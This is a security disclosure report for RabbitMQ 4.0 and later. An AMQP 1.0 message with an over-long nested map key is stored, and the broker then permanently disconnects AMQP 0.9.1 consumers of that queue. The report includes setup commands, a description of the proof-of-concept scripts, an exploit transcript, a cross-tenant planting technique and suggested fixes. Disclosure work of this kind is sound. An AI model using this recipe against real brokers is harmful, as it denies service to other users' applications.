A producer that speaks AMQP 1.0 can publish a well formed message whose application properties contain a nested map with a key longer than 255 bytes. RabbitMQ accepts and stores this message. The failure happens later, on the consumer side: to deliver the message to an AMQP 0.9.1 consumer, the broker converts the message into AMQP 0.9.1 properties, which produces a field table whose key cannot be represented in AMQP 0.9.1 (field table keys are shortstr, maximum 255 bytes). Encoding the delivery then raises content_properties_shortstr_overflow inside the connection's writer process, which tears the connection down. The consumer sees INTERNAL_ERROR (541) and never receives the message.
The message is not removed by the failed delivery. Unless an operator purges the queue or consumes the message with a different protocol, every subsequent AMQP 0.9.1 consumer that reaches it is disconnected in the same way, with no limit on the number of attempts. This turns a single small publish into a persistent denial of service for the AMQP 0.9.1 consumer population of that queue.
Two properties of the issue raise it above a queue level nuisance:
write on a shared exchange can plant the message in any queue bound to that exchange, including queues owned by other users or tenants that the producer cannot read, write or configure. I verified this with a user restricted to write=^poc\.shared$.The documented conversion rules state the opposite behaviour: entries that fail the shortstr condition are not converted, and the message remains deliverable with that entry omitted. The top level conversion applies exactly that rule. Only the nested map case is missing the check, which is why the message is stored in a state the broker cannot deliver.
Verified by building and running the source tree in this repository:
The same unguarded nested map conversion exists unchanged in the maintained release branches of this repository. I checked each branch for the expression that performs the nested conversion:
origin/v4.0.x: 2 occurrences of to_091(unwrap(K), V)
origin/v4.1.x: 2 occurrences of to_091(unwrap(K), V)
origin/v4.2.x: 2 occurrences of to_091(unwrap(K), V)
origin/v4.3.x: 2 occurrences of to_091(unwrap(K), V)
Native AMQP 1.0 support, and with it this conversion module, was introduced in RabbitMQ 4.0, so 4.0 and later are affected.
An AMQP 1.0 message published by a client is stored in its original format. When an AMQP 0.9.1 consumer receives it, mc_amqpl converts the message sections into AMQP 0.9.1 properties. The entry point for the delivery path is:
deps/rabbit/src/rabbit_channel.erl:2769 outgoing_content/2deps/rabbit/src/rabbit_channel.erl:2771 Mc2 = mc:convert(mc_amqpl, Mc1)For application properties, mc_amqpl maps each entry to an AMQP 0.9.1 header, but only if the key satisfies the shortstr condition:
deps/rabbit/src/mc_amqpl.erl:153-155({{utf8, K}, V})
when ?IS_SHORTSTR_LEN(K) ->
{true, to_091(K, V)};
The same guard exists for message annotations:
deps/rabbit/src/mc_amqpl.erl:168-175The values themselves are converted by to_091/2. For maps, the conversion recurses without any guard on the nested keys:
deps/rabbit/src/mc_amqpl.erl:736-745to_091(Key, {map, M}) ->
T = lists:filtermap(fun({K, V}) when element(1, K) =:= as_is orelse
element(1, V) =:= as_is ->
false;
({K, V}) ->
{true, to_091(unwrap(K), V)}
end, M),
{Key, table, T};
unwrap/1 returns the key as a plain binary. There is no length check and no validity check, so a nested key of 300 bytes becomes a 300 byte entry in an AMQP 0.9.1 field table.
AMQP 0.9.1 field table keys are shortstr. The encoder enforces this and fails hard:
deps/rabbit_common/src/rabbit_binary_generator.erl:148-152short_string_to_binary(String) ->
Len = string_length(String),
if Len < 256 -> [<<Len:8>>, String];
true -> exit(content_properties_shortstr_overflow)
end.
Field table entries are encoded through table_field_to_binary/1, which calls it for the field name:
deps/rabbit_common/src/rabbit_binary_generator.erl:109-110The exit happens while the delivery frame is being assembled in the connection's writer process. The writer terminates and the reader maps that to a connection close:
deps/rabbit_common/src/rabbit_writer.erl:185-191 handle_info(Message, State) catches the exit and stops with {shutdown, Reason}The broker log shows exactly this. Excerpt from the node log during testing:
[error] <0.1929.0> {shutdown,content_properties_shortstr_overflow}
[warning] <0.1929.0> Non-AMQP exit reason '{shutdown,content_properties_shortstr_overflow}'
The client sees a connection close with reply code 541:
attempt 1: connection killed by broker, reply code 541 (INTERNAL_ERROR)
Because the failure happens before the delivery is completed, the message is not acknowledged. It is requeued and remains in the queue with its unusable header.
The RabbitMQ documentation for inter protocol conversions defines the shortstr condition and states what must happen when it is not met:
Source: https://www.rabbitmq.com/docs/conversions, section "Conventions"
shortstr: (condition) a string that is smaller than 256 bytes and contains only valid UTF-8 encoded data with noNUL(binary zero octet) characters.
Conditions can be read to be evaluated in the order they are written. For example an AMQP
message_idof typeutf8with more than 255 bytes will fail the firstshortstrcondition and then fall through to the next line. If there is no matching line then the data will not be converted (and therefore not be available to the consuming application).
The same page applies that condition to the exact sections used by this proof of concept, in the table for "AMQP 1.0 -> AMQP 0.9.1":
application properties, condition Key: shortstr, target properties.headersmessage annotations, condition Key: shortstr and x-*, target properties.headersIn other words, the documented outcome for an over long key is that the entry is dropped and the rest of the message is delivered. The implementation does that for top level keys and fails to do it for nested keys, and instead of dropping the entry it aborts the delivery and disconnects the consumer.
The poisoned message stays in the queue. Every AMQP 0.9.1 consumer that reaches it is disconnected with INTERNAL_ERROR before receiving any message. In testing, 35 consecutive consumer connections were killed by a single poisoned message and it was still queued afterwards. There is no self healing: the message is not dead lettered, not expired and not removed by a failed delivery.
The same message can still be consumed with AMQP 1.0 or STOMP. That means the queue is not entirely dead, but the consumer population that uses AMQP 0.9.1 (the most widely deployed protocol for this broker) is denied service indefinitely, and only an operator action (purge, delete the queue, or consume with another protocol) restores it.
RabbitMQ authorizes a publish against the exchange, not against the queues it routes to. The AMQP 1.0 documentation states this for the queue target form:
Source: https://www.rabbitmq.com/docs/amqp, section "Address v2"
The 3rd format
/queues/:queuecauses all messages on the given link to be sent to queue:queue. The queue must exist. Internally, this queue target still uses the default exchange. Hence, the user needs write permissions to exchangeamq.default.
Publishing to /exchanges/:exchange/:routing-key requires write on that exchange. No permission on the destination queue is consulted. I verified this end to end:
pocwriter permissions: configure=^$, write=^poc\.shared$, read=^$pocwriter to read the victim queue is refused by the broker:pocwriter basic.get on poison_q -> channel closed by broker: 403 ACCESS_REFUSED - read access to queue 'poison_q' in vhost '/' refused for user 'pocwriter'
/exchanges/poc.shared/victim.k1, and the message lands in poison_q, a queue bound to that exchange:############ 4. the message is now in a queue the publisher has no permission on
poison_q 1
The practical consequence is that a producer with write access to one shared exchange can disable AMQP 0.9.1 consumption for any queue bound to it. In shared exchange topologies (topic exchanges, fanout exchanges, shared audit or dead letter queues) that includes queues belonging to other applications or tenants, and queues the producer cannot even see.
With a consumer that uses automatic acknowledgement, the message is removed from the queue when the delivery fails, and the consumer never receives it. Observed during testing on a separate queue: the delivery attempt killed the connection, the queue then reported zero messages and the client reported zero messages received. The publisher, if it used a confirm mode publish, has already received an acknowledgement.
Each failed delivery writes failure output to the broker log. I measured this from the broker's own log stream, taking a byte cursor before and after a fixed number of operations, on the same node and with the same clients:
| Measurement | Bytes |
|---|---|
| 10 victim reconnect cycles (each cycle: connect, basic.get, connection killed) | 12930 |
| per reconnect cycle | 1293 |
| 10 bare connect and close cycles (no queue involved) | 5411 |
| per bare connection | 541 |
| failure logging attributable to one failed delivery | 752 |
The poison is permanent, so the loop is unlimited. Arithmetic from the measured per cycle cost:
| Victim reconnects per second | Broker log growth |
|---|---|
| 20 | about 2.1 GiB per day |
| 200 | about 20.8 GiB per day |
| 2000 | about 208 GiB per day |
The first two rows are reachable with consumer auto reconnect behaviour, the third with a loop of cheap TCP connections, which the attacker can drive directly if the account also holds read permission on the poisoned queue. The per cycle figures are measurements; the daily figures are arithmetic from those measurements and are presented as such. RabbitMQ's disk alarms monitor queue data directories, not the log volume, so sustained log growth is not covered by them.
CVSS 4.0 vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Base score: 7.1 (High).
Reasoning, stated plainly:
I am aware that a triager may view "a publisher can disturb the queue it publishes to" as expected. The two properties that take this beyond that reading are 4.2 (the attacker does not need any permission on the queue that is actually damaged, so the permission model does not contain the attack) and 4.4 (the same publish drives node level log growth). If the project prefers to rate the queue level denial alone, the cross permission aspect should at least be considered for the authorization boundary it crosses.
pika installed (pip install pika) for the consumer. The publisher uses only the standard library.All files are in this report's poc directory. Only these two are needed to reproduce; run_e2e.sh is the wrapper that produced the transcript in section 6.4 and can be used as is.
poc_publish_poison.py (standard library only): performs the AMQP 1.0 handshake (SASL PLAIN), opens a session and a sender link, and transfers one message whose application properties contain a nested map whose key is 300 bytes long.poc_consume_victim.py (requires pika): opens an AMQP 0.9.1 connection, performs basic.get with manual acknowledgement, and reports what the broker does. Repeat it as many times as you like; the message is never consumed.run_e2e.sh (optional): creates the topology and two restricted users, publishes as the restricted producer, runs the victim loop, and prints queue state.Start the broker from this repository (./sbin/rabbitmq-server after a build, or gmake run-broker).
Create a queue, a shared exchange, a binding, and two restricted users. This mirrors an ordinary shared exchange deployment:
curl -u guest:guest -X PUT -H 'content-type: application/json' -d '{"durable":true}' \
http://127.0.0.1:15672/api/queues/%2F/poison_q
curl -u guest:guest -X PUT -H 'content-type: application/json' \
-d '{"type":"topic","durable":true}' http://127.0.0.1:15672/api/exchanges/%2F/poc.shared
curl -u guest:guest -X POST -H 'content-type: application/json' \
-d '{"routing_key":"victim.k1","arguments":{}}' \
http://127.0.0.1:15672/api/bindings/%2F/e/poc.shared/q/poison_q
# producer: write permission on the exchange only
curl -u guest:guest -X PUT -H 'content-type: application/json' \
-d '{"password":"pocwriterpw","tags":""}' http://127.0.0.1:15672/api/users/pocwriter
curl -u guest:guest -X PUT -H 'content-type: application/json' \
-d '{"configure":"^$","write":"^poc\\.shared$","read":"^$"}' \
http://127.0.0.1:15672/api/permissions/%2F/pocwriter
# victim: read permission on the queue only
curl -u guest:guest -X PUT -H 'content-type: application/json' \
-d '{"password":"pocvictimpw","tags":""}' http://127.0.0.1:15672/api/users/pocvictim
curl -u guest:guest -X PUT -H 'content-type: application/json' \
-d '{"configure":"^$","write":"^$","read":"^poison_q$"}' \
http://127.0.0.1:15672/api/permissions/%2F/pocvictim
python3 poc_publish_poison.py --user pocwriter --password pocwriterpw \
--address /exchanges/poc.shared/victim.k1 --key-length 300
./sbin/rabbitmqctl list_queues name messages | grep poison_q
# poison_q 1
python3 poc_consume_victim.py --user pocvictim --password pocvictimpw \
--queue poison_q --attempts 10
./sbin/rabbitmqctl list_queues name messages | grep poison_q
# poison_q 1
This is the captured output of run_e2e.sh on the test node, trimmed to the steps that matter (the wrapper also waits for the broker to start and prints contrast notes at the end).
############ 1. topology: shared exchange, victim queue, two restricted users
queue=201 exchange=201 binding=201
writer_user=204 writer_perms=204
victim_user=204 victim_perms=204
pocwriter permissions : {"user":"pocwriter","vhost":"/","configure":"^$","write":"^poc\\.shared$","read":"^$"}
pocvictim permissions : {"user":"pocvictim","vhost":"/","configure":"^$","write":"^$","read":"^poison_q$"}
############ 2. prove the publisher cannot touch the victim queue itself
pocwriter basic.get on poison_q -> channel closed by broker: 403 ACCESS_REFUSED - read access to queue 'poison_q' in vhost '/' refused for user 'pocwriter'
############ 3. publish the poison message as pocwriter (write on the exchange only)
1. sent SASL protocol header b'AMQP\x03\x01\x00\x00', broker echoed b'AMQP\x03\x01\x00\x00'
broker offered: ['sasl-mechanisms']
2. SASL PLAIN as 'pocwriter', broker answered: ['sasl-outcome']
3. sent AMQP protocol header b'AMQP\x00\x01\x00\x00', broker echoed b'AMQP\x00\x01\x00\x00'
4. sent open, broker answered: ['open']
5. sent begin + attach to '/exchanges/poc.shared/victim.k1', broker answered: ['begin', 'attach', 'flow']
6. sent transfer with a 300 byte nested map key, broker answered: []
7. message accepted (no error from the broker); it is now stored and will be delivered to AMQP 0.9.1 consumers
############ 4. the message is now in a queue the publisher has no permission on
poison_q 1
############ 5. victim loop: AMQP 0.9.1 consumer, 10 attempts, manual ack
attempt 1: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 2: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 3: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 4: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 5: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 6: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 7: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 8: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 9: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempt 10: connection killed by broker, reply code 541 (INTERNAL_ERROR)
attempts=10, connections killed=10
outcome: the poisoned message is still in the queue; every AMQP 0.9.1 consumer that receives it is disconnected
############ 6. queue state after the victim loop
poison_q 1
Client side, the connection is closed by the broker with 541:
ConnectionClosedByBroker: (541, 'INTERNAL_ERROR')
Broker side, each attempt produces the encoder exit and the connection close:
[error] <0.1929.0> {shutdown,content_properties_shortstr_overflow}
[warning] <0.1929.0> Non-AMQP exit reason '{shutdown,content_properties_shortstr_overflow}'
Apply the same condition in the nested conversion that is already applied at the top level. In mc_amqpl:to_091/2, for the {map, M} clause and for the list and array helpers, filter out keys for which ?IS_SHORTSTR_LEN/1 is false, exactly as mc_amqpl.erl:154 and :169 do for top level keys and message annotations. Dropping the entry matches the documented conversion rules.
Harden the delivery path so that an unencodable header cannot take down a consumer connection. Encoding a single delivery should not be fatal to the connection: log the offending field once, skip the header, and deliver the message, or reject the delivery and route the message to the dead letter exchange. As it stands, any future conversion gap in the same code path has the same effect.
Consider validating at conversion time rather than at encode time. The conversion is where the AMQP 0.9.1 constraints are known; failing there produces a clear error for the publisher or a clean drop, instead of a stored message that can never be delivered.
content_properties_shortstr_overflow. Each occurrence is one killed consumer connection. A single queue with repeated occurrences and a stable message count is a poisoned queue.rabbitmqctl purge_queue, or delete it with rabbitmqctl delete_queue -p <vhost> <queue>, or consume the queue with an AMQP 1.0 client, which is not affected.write on shared exchanges. Producers that only need to publish to their own queues should publish through the default exchange, where the write check is applied to the queue name, which prevents planting messages in other people's queues.The publisher sends one AMQP 1.0 message with this shape (shown in AMQP 1.0 type notation):
application-properties : map {
"x-nested" : map {
"kkkk...(300 bytes)..." : "v"
}
}
data : "poison-body"
The application property key must be of type string (utf8). Application properties whose keys are symbols are dropped by the conversion before this code path is reached, so they cannot be used to reproduce the issue.
| Location | Role |
|---|---|
deps/rabbit/src/mc_amqpl.erl:153-155 |
top level application property conversion, shortstr check present |
deps/rabbit/src/mc_amqpl.erl:168-175 |
message annotation conversion, shortstr check present |
deps/rabbit/src/mc_amqpl.erl:736-745 |
nested map conversion, no key check, source of the issue |
deps/rabbit/src/rabbit_channel.erl:2769-2771 |
delivery path that calls the conversion |
deps/rabbit_common/src/rabbit_binary_generator.erl:109-110 |
field table entry encoding |
deps/rabbit_common/src/rabbit_binary_generator.erl:148-152 |
shortstr encoder, raises content_properties_shortstr_overflow |
deps/rabbit_common/src/rabbit_writer.erl:185-191 |
writer stops on the exit, which closes the connection |